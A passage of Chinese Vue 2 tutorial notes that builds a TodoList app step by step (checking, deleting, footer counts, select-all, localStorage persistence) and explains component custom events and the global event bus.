勾选:实现方法2-change SOP

父App.vue:写checkTodo方法

<MyList :todos="todos" :checkTodo="checkTodo"/>

......

      checkTodo(id){
          this.todos.forEach((todo)=>{if(todo.id === id) todo.done = !todo.done
        })
      }

子MyList.vue:传递checkTodo方法

<MyItem v-for="todoObj in todos" :key="todoObj.id" :todo="todoObj" :checkTodo="checkTodo"/>

......

props:['todos','checkTodo',]

孙MyItem.vue:使用checkTodo方法

<input type="checkbox" :checked="todo.done" @change="handleCheck(todo.id)"/>

......

    methods: {
      handleCheck(id){
        console.log(id)
        this.checkTodo(id)
      },
    },

勾选:实现方法2-change的代码

参考资料1:vue中使用@changehttps://blog.csdn.net/reembarkation/article/details/125808423
参考资料2:vue中输入框事件的使用——@input、@keyup.enter、@change、@blurhttps://blog.csdn.net/zuoyiran520081/article/details/86611608
参考资料3:
在这里插入图片描述
父App.vue:写checkTodo方法

<template>
	<div id="root">
		<div class="todo-container">
			<div class="todo-wrap">
      
      <MyHeader :addTodo="addTodo"/>
      <MyList :todos="todos" :checkTodo="checkTodo"/>
      <MyFooter/>

			</div>
		</div>
	</div>

</template>

<script>
	//引入组件
  import MyHeader from './components/MyHeader.vue'
  import MyList from './components/MyList.vue'
	import MyFooter from './components/MyFooter.vue'

	export default {
		name:'App',
		components:{
			MyHeader,
			MyList,
			MyFooter,
		},
    data() {
      return {
        todos:[
          {id:'001',title:'抽烟',done:true,},
          {id:'002',title:'喝酒',done:false,},
          {id:'003',title:'开车',done:true,},
        ],
      }
    },
		methods: {
      addTodo(x){
        this.todos.unshift(x)
      },
      checkTodo(id){
          this.todos.forEach((todo)=>{if(todo.id === id) todo.done = !todo.done
        })
      }
		},
	}
</script>

子MyList.vue:传递checkTodo方法

<template>
	<ul class="todo-main">
    <MyItem v-for="todoObj in todos" :key="todoObj.id" :todo="todoObj" :checkTodo="checkTodo"/>
	</ul>
</template>

<script>
	//引入组件
	import MyItem from './MyItem.vue';

	export default {
		name:'MyList',
		components:{
			MyItem,
		},
    props:['todos','checkTodo',]
	}
</script>

孙MyItem.vue:使用checkTodo方法

<template>
	<li>
		<label>
			<input type="checkbox" :checked="todo.done" @change="handleCheck(todo.id)"/>
			<span>{{todo.title}}</span>
		</label>
		<button class="btn btn-danger" style="display:none">删除</button>
	</li>
</template>

<script>
	export default {
		name:'MyItem',
    props:['todo','checkTodo',],
    methods: {
      handleCheck(id){
        console.log(id)
        this.checkTodo(id)
      },
    },
	}
</script>

效果

在这里插入图片描述

074_TodoList案例_删除

删除SOP

父App.vue:写deleteTodo方法

<MyList :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo"/>

......

      deleteTodo(id){
          this.todos = this.todos.filter((todo)=>(todo.id != id))
          console.log('deleteTodo',this.todos)

子MyList.vue:传递deleteTodo方法

    <MyItem 
    v-for="todoObj in todos" 
    :key="todoObj.id" 
    :todo="todoObj" 
    :checkTodo="checkTodo"
    :deleteTodo="deleteTodo"
    />

......

props:['todos','checkTodo','deleteTodo',]

孙MyItem.vue:使用deleteTodo方法

<button class="btn btn-danger" @click="HandleDelete(todo.id)">删除</button>

......
methods: {
      HandleDelete(id){
        console.log('deleteTodo',id)
        this.deleteTodo(id)
      },
      }

删除的代码

App.vue

<template>
	<div id="root">
		<div class="todo-container">
			<div class="todo-wrap">
      
      <MyHeader :addTodo="addTodo"/>
      <MyList :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo"/>
      <MyFooter/>

			</div>
		</div>
	</div>

</template>

<script>
	//引入组件
  import MyHeader from './components/MyHeader.vue'
  import MyList from './components/MyList.vue'
	import MyFooter from './components/MyFooter.vue'

	export default {
		name:'App',
		components:{
			MyHeader,
			MyList,
			MyFooter,
		},
    data() {
      return {
        todos:[
          {id:'001',title:'抽烟',done:true,},
          {id:'002',title:'喝酒',done:false,},
          {id:'003',title:'开车',done:true,},
        ],
      }
    },
		methods: {
      addTodo(x){
        this.todos.unshift(x)
      },
      checkTodo(id){
          this.todos.forEach((todo)=>{if(todo.id === id) todo.done = !todo.done
        })
      },
      deleteTodo(id){
          this.todos = this.todos.filter((todo)=>(todo.id != id))
          console.log('deleteTodo',this.todos)
      }
		},
	}
</script>

<style >
/*base*/
body {
  background: #fff;
}

.btn {
  display: inline-block;
  padding: 4px 12px;
  margin-bottom: 0;
  font-size: 14px;
  line-height: 20px;
  text-align: center;
  vertical-align: middle;
  cursor: pointer;
  box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
  border-radius: 4px;
}

.btn-danger {
  color: #fff;
  background-color: #da4f49;
  border: 1px solid #bd362f;
}

.btn-danger:hover {
  color: #fff;
  background-color: #bd362f;
}

.btn:focus {
  outline: none;
}

.todo-container {
  width: 600px;
  margin: 0 auto;
}
.todo-container .todo-wrap {
  padding: 10px;
  border: 1px solid #ddd;
  border-radius: 5px;
}

</style>

MyList.vue

<template>
	<ul class="todo-main">
    <MyItem 
    v-for="todoObj in todos" 
    :key="todoObj.id" 
    :todo="todoObj" 
    :checkTodo="checkTodo"
    :deleteTodo="deleteTodo"
    />
	</ul>
</template>

<script>
	//引入组件
	import MyItem from './MyItem.vue';

	export default {
		name:'MyList',
		components:{
			MyItem,
		},
    props:['todos','checkTodo','deleteTodo',]
	}
</script>


<style scoped>

/*main*/
.todo-main {
  margin-left: 0px;
  border: 1px solid #ddd;
  border-radius: 2px;
  padding: 0px;
}

.todo-empty {
  height: 40px;
  line-height: 40px;
  border: 1px solid #ddd;
  border-radius: 2px;
  padding-left: 5px;
  margin-top: 10px;
}

</style>

MyItem.vue

<template>
	<li>
		<label>
			<input type="checkbox" :checked="todo.done" @change="handleCheck(todo.id)"/>
			<span>{{todo.title}}</span>
		</label>
		<button class="btn btn-danger" @click="HandleDelete(todo.id)">删除</button>
	</li>
</template>

<script>
	export default {
		name:'MyItem',
    props:['todo','checkTodo','deleteTodo',],
    methods: {
      handleCheck(id){
        console.log(id)
        this.checkTodo(id)
      },
      HandleDelete(id){
        console.log('deleteTodo',id)
        this.deleteTodo(id)
      },
    },
	}
</script>


<style scoped>
/*item*/
li {
  list-style: none;
  height: 36px;
  line-height: 36px;
  padding: 0 5px;
  border-bottom: 1px solid #ddd;
}

li label {
  float: left;
  cursor: pointer;
}

li label li input {
  vertical-align: middle;
  margin-right: 6px;
  position: relative;
  top: -1px;
}

li button {
  float: right;
  display: none;
  margin-top: 3px;
}


li:before {
  content: initial;
}

li:last-child {
  border-bottom: none;
}

li:hover {
  background-color: #eee;
}

li:hover button{
  display: block;
}

</style>

在这里插入图片描述

075_TodoList案例_底部统计

Low算法

1.运用计算属性来得出doneTotal。

computed:{
      doneTotal(){
        let i = 0
        this.todos.forEach(todo => { 
          if(todo.done==true)i++
        });
        return i
      }
    },

2.完整代码MyFooter.vue

<template>
	<div class="todo-footer">
		<label>
		<input type="checkbox"/>
		</label>
		<span>
		<span>已完成{{doneTotal}}</span> / 全部{{todos.length}}
		</span>
		<button class="btn btn-danger">清除已完成任务</button>
	</div>
</template>

<script>
	export default {
		name:'MyFooter',
    props:['todos',],
    computed:{
      doneTotal(){
        let i = 0
        this.todos.forEach(todo => { 
          if(todo.done==true)i++
        });
        return i
      }
    },
	}
</script>


<style scoped>

/*footer*/
.todo-footer {
  height: 40px;
  line-height: 40px;
  padding-left: 6px;
  margin-top: 5px;
}

.todo-footer label {
  display: inline-block;
  margin-right: 20px;
  cursor: pointer;
}

.todo-footer label input {
  position: relative;
  top: -1px;
  vertical-align: middle;
  margin-right: 5px;
}

.todo-footer button {
  float: right;
  margin-top: 5px;
}

</style>

在这里插入图片描述

reduce方法(难)

Array.prototype.reduce()https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce

箭头函数中的return
-有大括号{}只有写return才有返回值,不写return无返回值
-只有一行语句,可省略大括号和return,利用起来让函数代码更加简洁

1.运用计算属性来得出doneTotal。

    computed:{
      doneTotal(){
        // return this.todos.reduce((previousValue,currentValue)=>previousValue + (currentValue.done ? 1:0),0)
        return this.todos.reduce((previousValue,currentValue)=>{return previousValue + (currentValue.done ? 1:0)},0)
      }
    },

2.MyFooter.vue完整代码

<template>
	<div class="todo-footer">
		<label>
		<input type="checkbox"/>
		</label>
		<span>
		<span>已完成{{doneTotal}}</span> / 全部{{todos.length}}
		</span>
		<button class="btn btn-danger">清除已完成任务</button>
	</div>
</template>

<script>
	export default {
		name:'MyFooter',
    props:['todos',],
    computed:{
      doneTotal(){
        // return this.todos.reduce((previousValue,currentValue)=>previousValue + (currentValue.done ? 1:0),0)
        return this.todos.reduce((previousValue,currentValue)=>{return previousValue + (currentValue.done ? 1:0)},0)
        // let i = 0
        // this.todos.forEach(todo => { 
        //   if(todo.done==true)i++
        // });
        // return i
      }
    },
	}
</script>


<style scoped>

/*footer*/
.todo-footer {
  height: 40px;
  line-height: 40px;
  padding-left: 6px;
  margin-top: 5px;
}

.todo-footer label {
  display: inline-block;
  margin-right: 20px;
  cursor: pointer;
}

.todo-footer label input {
  position: relative;
  top: -1px;
  vertical-align: middle;
  margin-right: 5px;
}

.todo-footer button {
  float: right;
  margin-top: 5px;
}

</style>

076_TodoList案例_底部交互

底部交互思路

在这里插入图片描述

底部交互-方法1:v-bind初始化数值,事件来改值

1.MyFooter.vue修改计算属性,实现:单选都V时,footer全选就V;单选都不存在时,footer不能勾选。

    computed:{
      doneTotal(){
        return this.todos.reduce((previousValue,currentValue)=>{return previousValue + (currentValue.done ? 1:0)},0)
      },
      total(){
        return this.todos.length
      },
      isAll(){
        return this.doneTotal === this.total && this.total > 0
      }
    },

2.MyFooter.vue修改methods,App.vue传入方法。实现:footer全选就V,单选全改为V; footer没点V,不改单选。

App.vue
      checkAllTodo(done){
        this.todos.forEach(
          (todo)=>{todo.done = done}
        )
      }


MyFooter.vue
    methods: {
      checkAll(e){
          this.checkAllTodo(e.target.checked)
      }
    },

底部交互-方法1:完整代码

App.vue

<template>
	<div id="root">
		<div class="todo-container">
			<div class="todo-wrap">
      
      <MyHeader :addTodo="addTodo"/>
      <MyList :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo"/>
      <MyFooter :todos="todos" :checkAllTodo="checkAllTodo"/>

			</div>
		</div>
	</div>

</template>

<script>
	//引入组件
  import MyHeader from './components/MyHeader.vue'
  import MyList from './components/MyList.vue'
	import MyFooter from './components/MyFooter.vue'

	export default {
		name:'App',
		components:{
			MyHeader,
			MyList,
			MyFooter,
		},
    data() {
      return {
        todos:[
          {id:'001',title:'抽烟',done:true,},
          {id:'002',title:'喝酒',done:false,},
          {id:'003',title:'开车',done:true,},
        ],
      }
    },
		methods: {
      addTodo(x){
        this.todos.unshift(x)
      },
      checkTodo(id){
          this.todos.forEach((todo)=>{if(todo.id === id) todo.done = !todo.done
        })
      },
      deleteTodo(id){
          this.todos = this.todos.filter((todo)=>(todo.id != id))
          // console.log('deleteTodo',this.todos)
      },
      checkAllTodo(done){
        this.todos.forEach(
          (todo)=>{todo.done = done}
        )
      }
		},
	}
</script>

<style >
/*base*/
body {
  background: #fff;
}

.btn {
  display: inline-block;
  padding: 4px 12px;
  margin-bottom: 0;
  font-size: 14px;
  line-height: 20px;
  text-align: center;
  vertical-align: middle;
  cursor: pointer;
  box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
  border-radius: 4px;
}

.btn-danger {
  color: #fff;
  background-color: #da4f49;
  border: 1px solid #bd362f;
}

.btn-danger:hover {
  color: #fff;
  background-color: #bd362f;
}

.btn:focus {
  outline: none;
}

.todo-container {
  width: 600px;
  margin: 0 auto;
}
.todo-container .todo-wrap {
  padding: 10px;
  border: 1px solid #ddd;
  border-radius: 5px;
}

</style>

MyFooter.vue

<template>
	<div class="todo-footer">
		<label>
		<input type="checkbox" :checked='isAll'  @click="checkAll"/>
		</label>
		<span>
		<span>已完成{{doneTotal}}</span> / 全部{{total}}
		</span>
		<button class="btn btn-danger">清除已完成任务</button>
	</div>
</template>

<script>
	export default {
		name:'MyFooter',
    props:['todos','checkAllTodo',],
    computed:{
      doneTotal(){
        // return this.todos.reduce((previousValue,currentValue)=>previousValue + (currentValue.done ? 1:0),0)
        return this.todos.reduce((previousValue,currentValue)=>{return previousValue + (currentValue.done ? 1:0)},0)
        // let i = 0
        // this.todos.forEach(todo => { 
        //   if(todo.done==true)i++
        // });
        // return i
      },
      total(){
        return this.todos.length
      },
      isAll(){
        return this.doneTotal === this.total && this.total > 0
      }
    },
    methods: {
      checkAll(e){
          this.checkAllTodo(e.target.checked)
      }
    },
	}
</script>


<style scoped>

/*footer*/
.todo-footer {
  height: 40px;
  line-height: 40px;
  padding-left: 6px;
  margin-top: 5px;
}

.todo-footer label {
  display: inline-block;
  margin-right: 20px;
  cursor: pointer;
}

.todo-footer label input {
  position: relative;
  top: -1px;
  vertical-align: middle;
  margin-right: 5px;
}

.todo-footer button {
  float: right;
  margin-top: 5px;
}

</style>

底部交互-方法2:v-model双向绑定

1.MyFooter.vue修改计算属性,并在input框使用v-model双向绑定。

<input type="checkbox"  v-model="isAll"/>

    computed:{
      doneTotal(){
        return this.todos.reduce((previousValue,currentValue)=>{return previousValue + (currentValue.done ? 1:0)},0)
      },
      total(){
        return this.todos.length
      },
      isAll:{
        get(){
          return this.doneTotal === this.total && this.total > 0
        },
        set(value){
          this.checkAllTodo(value)
        }
      }
    },

底部交互-方法2:v-model双向绑定完整代码(加上【清除已完成任务】)

MyFooter.vue

<template>
	<div class="todo-footer">
		<label>
		<input type="checkbox"  v-model="isAll"/>
		</label>
		<span>
		<span>已完成{{doneTotal}}</span> / 全部{{total}}
		</span>
		<button class="btn btn-danger" @click="clearAll">清除已完成任务</button>
	</div>
</template>

<script>
	export default {
		name:'MyFooter',
    props:['todos','checkAllTodo','clearAllTodo'],
    computed:{
      doneTotal(){
        // return this.todos.reduce((previousValue,currentValue)=>previousValue + (currentValue.done ? 1:0),0)
        return this.todos.reduce((previousValue,currentValue)=>{return previousValue + (currentValue.done ? 1:0)},0)
        // let i = 0
        // this.todos.forEach(todo => { 
        //   if(todo.done==true)i++
        // });
        // return i
      },
      total(){
        return this.todos.length
      },
      isAll:{
        get(){
          return this.doneTotal === this.total && this.total > 0
        },
        set(value){
          this.checkAllTodo(value)
        }
      }
    },
    methods:{
            clearAll(){
                this.clearAllTodo()
            }
        }
    // methods: {
    //   checkAll(e){
    //       this.checkAllTodo(e.target.checked)
    //   }
    // },
	}
</script>


<style scoped>

/*footer*/
.todo-footer {
  height: 40px;
  line-height: 40px;
  padding-left: 6px;
  margin-top: 5px;
}

.todo-footer label {
  display: inline-block;
  margin-right: 20px;
  cursor: pointer;
}

.todo-footer label input {
  position: relative;
  top: -1px;
  vertical-align: middle;
  margin-right: 5px;
}

.todo-footer button {
  float: right;
  margin-top: 5px;
}

</style>

077_TodoList案例_总结

总结TodoList案例

  1. 组件化编码流程:

    ​ (1).拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。

    ​ (2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:

    ​ 1).一个组件在用:放在组件自身即可。

    ​ 2). 一些组件在用:放在他们共同的父组件上(状态提升)。

    ​ (3).实现交互:从绑定事件开始。

  2. props适用于:

    ​ (1).父组件 ==> 子组件 通信

    ​ (2).子组件 ==> 父组件 通信(要求父先给子一个函数)

  3. 使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的!

  4. props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。

078_浏览器本地存储

例子

localStorage浏览器本地缓存,关闭浏览器不清空

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>localStorage</title>
</head>
<body>
    <h2>localStorage</h2>
    <button onclick="saveDate()">点我保存数据</button><br/>
    <button onclick="readDate()">点我读数据</button><br/>
    <button onclick="deleteDate()">点我删除数据</button><br/>
    <button onclick="deleteAllDate()">点我清空数据</button><br/>

    <script>
        let person = {name:"JOJO",age:20}

        function saveDate(){
            localStorage.setItem('msg','localStorage')
            localStorage.setItem('person',JSON.stringify(person))
        }
        function readDate(){
            console.log(localStorage.getItem('msg'))
            const person = localStorage.getItem('person')
            console.log(JSON.parse(person))
        }
        function deleteDate(){
            localStorage.removeItem('msg')
            localStorage.removeItem('person')
        }
        function deleteAllDate(){
            localStorage.clear()
        }
    </script>
</body>
</html>

sessionStorage等浏览器关闭,就会清空缓存

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>sessionStorage</title>
</head>
<body>
    <h2>sessionStorage</h2>
    <button onclick="saveDate()">点我保存数据</button><br/>
    <button onclick="readDate()">点我读数据</button><br/>
    <button onclick="deleteDate()">点我删除数据</button><br/>
    <button onclick="deleteAllDate()">点我清空数据</button><br/>

    <script>
        let person = {name:"JOJO",age:20}

        function saveDate(){
            sessionStorage.setItem('msg','sessionStorage')
            sessionStorage.setItem('person',JSON.stringify(person))
        }
        function readDate(){
            console.log(sessionStorage.getItem('msg'))
            const person = sessionStorage.getItem('person')
            console.log(JSON.parse(person))
        }
        function deleteDate(){
            sessionStorage.removeItem('msg')
            sessionStorage.removeItem('person')
        }
        function deleteAllDate(){
            sessionStorage.clear()
        }
    </script>
</body>
</html>

webStorage总结

  1. 存储内容大小一般支持5MB左右(不同浏览器可能还不一样)

  2. 浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。

  3. 相关API:

    1. xxxxxStorage.setItem('key', 'value');
      该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。

    2. xxxxxStorage.getItem('person');

      ​ 该方法接受一个键名作为参数,返回键名对应的值。

    3. xxxxxStorage.removeItem('key');

      ​ 该方法接受一个键名作为参数,并把该键名从存储中删除。

    4. xxxxxStorage.clear()

      ​ 该方法会清空存储中的所有数据。

  4. 备注:

    1. SessionStorage存储的内容会随着浏览器窗口关闭而消失。
    2. LocalStorage存储的内容,需要手动清除才会消失。
    3. xxxxxStorage.getItem(xxx)如果xxx对应的value获取不到,那么getItem的返回值是null。
    4. JSON.parse(null)的结果依然是null。

079_TodoList_本地存储

原理

1.利用watch监视data变化,开启深度监视
2.存入并读取【本地存储】
3.data初始值为空数组todos:JSON.parse(localStorage.getItem('todos')) || []

代码

src/App.vue:

<template>
    <div id="root">
        <div class="todo-container">
            <div class="todo-wrap">
            <MyHeader :addTodo="addTodo"/>
            <MyList :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo"/>
            <MyFooter :todos="todos" :checkAllTodo="checkAllTodo" :clearAllTodo="clearAllTodo"/>
            </div>
        </div>
    </div>
</template>

<script>
    import MyHeader from './components/MyHeader.vue'
    import MyList from './components/MyList.vue'
    import MyFooter from './components/MyFooter.vue'

    export default {
        name:'App',
        components: { MyHeader,MyList,MyFooter },
        data() {
            return {
                //若localStorage中存有'todos'则从localStorage中取出,否则初始为空数组
                todos:JSON.parse(localStorage.getItem('todos')) || []
            }
        },
        methods:{
            //添加一个todo
            addTodo(todoObj){
                this.todos.unshift(todoObj)
            },
            //勾选or取消勾选一个todo
            checkTodo(id){
                this.todos.forEach((todo)=>{
                    if(todo.id === id) todo.done = !todo.done
                })
            },
            //删除一个todo
            deleteTodo(id){
                this.todos = this.todos.filter(todo => todo.id !== id)
            },
            //全选or取消勾选
            checkAllTodo(done){
                this.todos.forEach(todo => todo.done = done)
            },
            //删除已完成的todo
            clearAllTodo(){
                this.todos = this.todos.filter(todo => !todo.done)
            }
        },
        watch:{
            todos:{
                //由于todos是对象数组,所以必须开启深度监视才能发现数组中对象的变化
                deep:true,
                handler(value){
                    localStorage.setItem('todos',JSON.stringify(value))
                }
            }
        }
    }
</script>

<style>
    body {
    	background: #fff;
    }

    .btn {
        display: inline-block;
        padding: 4px 12px;
        margin-bottom: 0;
        font-size: 14px;
        line-height: 20px;
        text-align: center;
        vertical-align: middle;
        cursor: pointer;
        box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
        border-radius: 4px;
    }

    .btn-danger {
        color: #fff;
        background-color: #da4f49;
        border: 1px solid #bd362f;
    }

    .btn-danger:hover {
        color: #fff;
        background-color: #bd362f;
    }

    .btn:focus {
    	outline: none;
    }

    .todo-container {
        width: 600px;
        margin: 0 auto;
    }
    .todo-container .todo-wrap {
        padding: 10px;
        border: 1px solid #ddd;
        border-radius: 5px;
    }
</style>

在这里插入图片描述

(父子组件间通信)080-083_组件自定义事件

我的总结

1.组件间通信-props
在这里插入图片描述

2.参考:【Vue组件自定义事件详解】
在这里插入图片描述
子组件通过props方式向父组件传递数据,前提是父组件要给子组件传递一个回调函数,子组件接收之后,才能向父组件传递数据,而组件的自定义事件只需调用$emit方法对指定自定义事件进行触发,即可向父组件传递数据。

在这里插入图片描述
3.props vs 自定义事件 的变更点
在这里插入图片描述
4.解绑自定义事件
在这里插入图片描述
5.自定义事件-ref
在这里插入图片描述
在这里插入图片描述

080_组件自定义事件_绑定(ref)

src/App.vue:

<template>
    <div class="app">
        <!-- 通过父组件给子组件传递函数类型的props实现子给父传递数据 -->
        <School :getSchoolName="getSchoolName"/>

        <!-- 通过父组件给子组件绑定一个自定义事件实现子给父传递数据(第一种写法,使用@或v-on) -->
        <!-- <Student @jojo="getStudentName"/> -->

        <!-- 通过父组件给子组件绑定一个自定义事件实现子给父传递数据(第二种写法,使用ref) -->
		<Student ref="student"/>
    </div>
</template>

<script>
    import Student from './components/Student.vue'
    import School from './components/School.vue'

    export default {
        name:'App',
        components: { Student,School },
        methods:{
            getSchoolName(name){
                console.log("已收到学校的名称:"+name)
            },
            getStudentName(name){
                console.log("已收到学生的姓名:"+name)      
            }
        },
        mounted(){
            this.$refs.student.$on('jojo',this.getStudentName)
        }
    }
</script>


<style scoped>
	.app{
		background-color: gray;
		padding: 5px;
	}
</style>

src/components/Student.vue:

<template>
    <div class="student">
        <h2>学生姓名:{{name}}</h2>
        <h2>学生性别:{{sex}}</h2>
        <button @click="sendStudentName">点我传递学生姓名</button> 
    </div>
</template>

<script>
    export default {
        name:'Student',
        data() {
            return {
                name:'JOJO',
				sex:'男'
            }
        },
        methods:{
            sendStudentName(){
                this.$emit('jojo',this.name)
            }
        }
    }
</script>

<style scoped>
    .student{
        background-color: chartreuse;
        padding: 5px;
		margin-top: 30px;
    }
</style>

在这里插入图片描述

081_组件自定义事件_解绑

src/App.vue:

<template>
    <div class="app">
        <Student @jojo="getStudentName"/>
    </div>
</template>

<script>
    import Student from './components/Student.vue'

    export default {
        name:'App',
        components: { Student },
        methods:{
            getStudentName(name){
                console.log("已收到学生的姓名:"+name)      
            }
        }
    }
</script>

<style scoped>
	.app{
		background-color: gray;
		padding: 5px;
	}
</style>

src/components/Student.vue:

<template>
    <div class="student">
        <h2>学生姓名:{{name}}</h2>
        <h2>学生性别:{{sex}}</h2>
        <button @click="sendStudentName">点我传递学生姓名</button> 
        <button @click="unbind">解绑自定义事件</button> 
    </div>
</template>

<script>
    export default {
        name:'Student',
        data() {
            return {
                name:'JOJO',
				sex:'男'
            }
        },
        methods:{
            sendStudentName(){
                this.$emit('jojo',this.name)
            },
            unbind(){
                // 解绑一个自定义事件
                // this.$off('jojo')
                // 解绑多个自定义事件
                // this.$off(['jojo'])
                // 解绑所有自定义事件
                this.$off()
            }
        }
    }
</script>

<style scoped>
    .student{
        background-color: chartreuse;
        padding: 5px;
		margin-top: 30px;
    }
</style>

在这里插入图片描述

082_组件自定义事件_总结

  1. 一种组件间通信的方式,适用于:子组件 ===> 父组件

  2. 使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。

  3. 绑定自定义事件:

    1. 第一种方式,在父组件中:<Demo @atguigu="test"/><Demo v-on:atguigu="test"/>

    2. 第二种方式,在父组件中:

      <Demo ref="demo"/>
      ......
      mounted(){
         this.$refs.xxx.$on('atguigu',this.test)
      }
      
    3. 若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。

  4. 触发自定义事件:this.$emit('atguigu',数据)

  5. 解绑自定义事件this.$off('atguigu')

  6. 组件上也可以绑定原生DOM事件,需要使用native修饰符。

  7. 注意:通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题!

083_TodoList案例_自定义事件(非ref)

src/App.vue:

<template>
    <div id="root">
        <div class="todo-container">
            <div class="todo-wrap">
            <MyHeader @addTodo="addTodo"/>
            <MyList :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo"/>
            <MyFooter :todos="todos" @checkAllTodo="checkAllTodo" @clearAllTodo="clearAllTodo"/>
            </div>
        </div>
    </div>
</template>

<script>
    import MyHeader from './components/MyHeader.vue'
    import MyList from './components/MyList.vue'
    import MyFooter from './components/MyFooter.vue'

    export default {
        name:'App',
        components: { MyHeader,MyList,MyFooter },
        data() {
            return {
                todos:JSON.parse(localStorage.getItem('todos')) || []
            }
        },
        methods:{
            //添加一个todo
            addTodo(todoObj){
                this.todos.unshift(todoObj)
            },
            //勾选or取消勾选一个todo
            checkTodo(id){
                this.todos.forEach((todo)=>{
                    if(todo.id === id) todo.done = !todo.done
                })
            },
            //删除一个todo
            deleteTodo(id){
                this.todos = this.todos.filter(todo => todo.id !== id)
            },
            //全选or取消勾选
            checkAllTodo(done){
                this.todos.forEach(todo => todo.done = done)
            },
            //删除已完成的todo
            clearAllTodo(){
                this.todos = this.todos.filter(todo => !todo.done)
            }
        },
        watch:{
            todos:{
                deep:true,
                handler(value){
                    localStorage.setItem('todos',JSON.stringify(value))
                }
            }
        }
    }
</script>

<style>
    body {
    	background: #fff;
    }

    .btn {
        display: inline-block;
        padding: 4px 12px;
        margin-bottom: 0;
        font-size: 14px;
        line-height: 20px;
        text-align: center;
        vertical-align: middle;
        cursor: pointer;
        box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
        border-radius: 4px;
    }

    .btn-danger {
        color: #fff;
        background-color: #da4f49;
        border: 1px solid #bd362f;
    }

    .btn-danger:hover {
        color: #fff;
        background-color: #bd362f;
    }

    .btn:focus {
   		outline: none;
    }

    .todo-container {
    	width: 600px;
    	margin: 0 auto;
    }
    .todo-container .todo-wrap {
        padding: 10px;
        border: 1px solid #ddd;
        border-radius: 5px;
    }
</style>

src/components/MyHeader.vue:

<template>
    <div class="todo-header">
        <input type="text" placeholder="请输入你的任务名称,按回车键确认" @keydown.enter="add" v-model="title"/>
    </div>
</template>

<script>
    import {nanoid} from 'nanoid'
    export default {
        name:'MyHeader',
        data() {
            return {
                title:''
            }
        },
        methods:{
            add(){
                if(!this.title.trim()) return
                const todoObj = {id:nanoid(),title:this.title,done:false}
                this.$emit('addTodo',todoObj)
                this.title = ''
            }
        }
    }
</script>

<style scoped>
    /*header*/
    .todo-header input {
        width: 560px;
        height: 28px;
        font-size: 14px;
        border: 1px solid #ccc;
        border-radius: 4px;
        padding: 4px 7px;
    }

    .todo-header input:focus {
        outline: none;
        border-color: rgba(82, 168, 236, 0.8);
        box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
    }
</style>

src/components/MyFooter:

<template>
    <div class="todo-footer" v-show="total">
        <label>
            <input type="checkbox" v-model="isAll"/>
        </label>
        <span>
            <span>已完成{{doneTotal}}</span> / 全部{{total}}
        </span>
        <button class="btn btn-danger" @click="clearAll">清除已完成任务</button>
    </div>
</template>

<script>
    export default {
        name:'MyFooter',
        props:['todos'],
        computed:{
            doneTotal(){
                return this.todos.reduce((pre,todo)=> pre + (todo.done ? 1 : 0) ,0)
            },
            total(){
                return this.todos.length
            },
            isAll:{
                get(){
                    return this.total === this.doneTotal && this.total > 0
                },
                set(value){
                    this.$emit('checkAllTodo',value)
                }
            }
        },
        methods:{
            clearAll(){
                this.$emit('clearAllTodo')
            }
        }
    }
</script>

<style scoped>
    .todo-footer {
        height: 40px;
        line-height: 40px;
        padding-left: 6px;
        margin-top: 5px;
        }

    .todo-footer label {
        display: inline-block;
        margin-right: 20px;
        cursor: pointer;
    }

    .todo-footer label input {
        position: relative;
        top: -1px;
        vertical-align: middle;
        margin-right: 5px;
    }

    .todo-footer button {
        float: right;
        margin-top: 5px;
    }
</style>

(任意组件间通信)084-086_全局事件总线

084_全局事件总线1(原理)

全局事件总线是一种可以在任意组件间通信的方式,本质上就是一个对象。它必须满足以下条件:1. 所有的组件对象都必须能看见他 2. 这个对象必须能够使用 o n 、 on、 onemit和$off方法去绑定、触发和解绑事件。
在这里插入图片描述
在这里插入图片描述

085_全局事件总线2(代码实现)

src/main.js:

import Vue from 'vue'
import App from './App.vue'

Vue.config.productionTip = false

new Vue({
	el:'#app',
	render: h => h(App),
	beforeCreate() {
		Vue.prototype.$bus = this //安装全局事件总线
	}
})

src/App.vue:

<template>
	<div class="app">
		<School/>
		<Student/>
	</div>
</template>

<script>
	import Student from './components/Student'
	import School from './components/School'

	export default {
		name:'App',
		components:{School,Student}
	}
</script>

<style scoped>
	.app{
		background-color: gray;
		padding: 5px;
	}
</style>

src/components/School.vue:

<template>
	<div class="school">
		<h2>学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
	</div>
</template>

<script>
	export default {
		name:'School',
		data() {
			return {
				name:'尚硅谷',
				address:'北京',
			}
		},
		methods:{
			demo(data) {
